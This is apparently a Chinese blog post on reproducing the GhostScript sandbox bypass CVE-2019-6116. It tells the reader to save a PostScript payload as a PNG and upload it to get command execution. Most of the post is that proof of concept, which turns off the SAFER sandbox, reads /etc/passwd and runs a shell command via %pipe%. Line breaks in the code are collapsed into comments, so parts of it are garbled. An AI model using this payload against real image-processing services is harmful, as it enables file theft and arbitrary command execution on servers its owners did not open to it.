GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)

by ADummy

0x00利用路线

​ 构造poc png图片—>上传图片—>有回显命令执行

0x01漏洞介绍

​ 2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

0x02漏洞复现

将POC作为图片上传,执行命令id > /tmp/success && cat /tmp/success

将如下代码做成png文件,上传。

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def/exploit {(Stage 11: Exploitation...)=/forceput exch defsystemdict /SAFER false forceputuserparams /LockFilePermissions false forceputsystemdict /userparams get /PermitFileControl [(*)] forceputsystemdict /userparams get /PermitFileWriting [(*)] forceputsystemdict /userparams get /PermitFileReading [(*)] forceput% updatesave restore% All done.stop
} deferrordict /typecheck {/typecount typecount 1 add def(Stage 10: /typecheck #)=only typecount ==% The first error will be the .knownget, which we handle and setup the% stack. The second error will be the ifelse (missing boolean), and then we% dump the operands.typecount 1 eq { null } iftypecount 2 eq { pop 7 get exploit } iftypecount 3 eq { (unexpected)= quit }  if
} put% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable arrays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<</typecount      0/PDFfile        { (Stage 0: PDFfile)= currentfile }/q              { (Stage 1: q)= } % no-op/oget           { (Stage 3: oget)= pop pop 0 } % clear stack/pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op/gput           { (Stage 5: gput)= }  % no-op/resolvestream  { (Stage 6: resolvestream)= } % no-op/pdfopdict      { (Stage 7: pdfopdict)= } % no-op/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index/pdfdict        { (Stage 9: pdfdict)=% cause a /typecheck error we handle abovetrue}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile(Attempting to execute a shell command...)= flush% run command
(%pipe%id > /tmp/success) (w) file closefile(All done.)=quit

GhostScript 沙箱绕过(命令执行)漏洞 CVE-2019-6116 漏洞复现相关推荐

  1. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破(CVE20182628)漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

  2. buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)

    目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...

  3. [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2018-16509

  4. CVE-2022-0543:redis lua沙盒绕过命令执行漏洞复现

    #Redis简介 Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关 ...

  5. CVE-2022-1388 F5 BIG-IP权限绕过命令执行漏洞复现

    目录 0x01 声明: 0x02 简介: 0x03 漏洞概述: 0x04 影响版本: 0x05 环境搭建: 下载环境:(要注册账号) 登录页面: 0x06 漏洞复现: EXP地址: 修改EXP: 利用 ...

  6. Cisco RV340命令执行漏洞(CVE-2022-20707)及关联历史漏洞分析

    01  引言 本篇文章主要是对Cisco RV340命令执行漏洞(CVE-2022-20707)进行的研究分析,尽管利用此漏洞需要身份验证,但可以通过CVE-2022-20705绕过现有的身份验证机制 ...

  7. DVWA——命令执行漏洞学习

    前言:命令执行和代码执行也是web安全中常见的一种漏洞,这次就先来学习一下命令执行漏洞. Command Execution 一.简介 由于开发人员在编写源代码时,没有对源代码中可执行的特殊函数入口做 ...

  8. 命令执行漏洞之远程命令执行和系统命令执行

    渗透学习 命令执行漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.命令执行漏洞概述 二.实验步骤 1.管道符号 2.远 ...

  9. NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

    本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...

  10. 代码审计——命令执行

    文章目录 前言 一.代码执行的几种方式 1.${}执行代码 2.eval 3.assert 4.preg_replace 5.create_function() 6.array_map() 7.cal ...

最新文章

  1. 一.Timesten安装
  2. zzfrom水木-Linux环境学习和开发心得(作者:lunker)
  3. Python Demo 02 蒙特卡罗方法输出e
  4. 底层框架_你有必要了解一下Flink底层RPC使用的框架和原理
  5. redhat/centos 搭建svn服务器环境
  6. 使用WEB方式更改域用户帐户密码
  7. 栈结构功能实现的伪码展示【数据结构F】
  8. 剖析:3D游戏建模的千奇百变,带你快速入门
  9. 省一计算机考试题库Excel,计算机等级考试省一级省计算机等级考试题库.doc
  10. NLP系列——(2)特征提取
  11. python 二维码生成器_python二维码生成器
  12. 30天自制操作系统第二天
  13. PS套索工具改变头发颜色
  14. 【Linux/内核】Linux内核rpm包和源码包下载地址-20210107
  15. 使用PageHelper实现分页
  16. logit模型应用实例_第六章 逻辑斯谛回归与最大熵模型(第1节 逻辑斯谛回归模型)...
  17. python与人工智能关系论文_《Python深度学习》笔记:人工智能、机器学习与深度学习关系...
  18. 企业数据中心如何挑选机柜
  19. Java数据库持久层框架基础:jdbc原理和使用综述
  20. 网上商城购物系统的优势和建站方法

热门文章

  1. 导弹防御系统(LIS+dfs)
  2. package.json 文件详解
  3. 个人微信支付接口在哪申请
  4. unity LineRender结合多点触摸 实现拖拽 重复画线
  5. html输入框位置控制,JS 控制input 输入框光标位置
  6. C++ 04 翁恺>声明(Declarations) VS. 定义(Definitions)
  7. 日程提醒app android,手机里有提醒日程安排的软件吗?
  8. 【凡是过去 皆为序章】 回顾大二刚开学的心路历程
  9. java中rtf转化为html的第三方工具,java .rtf文件转html
  10. android 屏幕自动滚动效果,Android滑动屏幕效果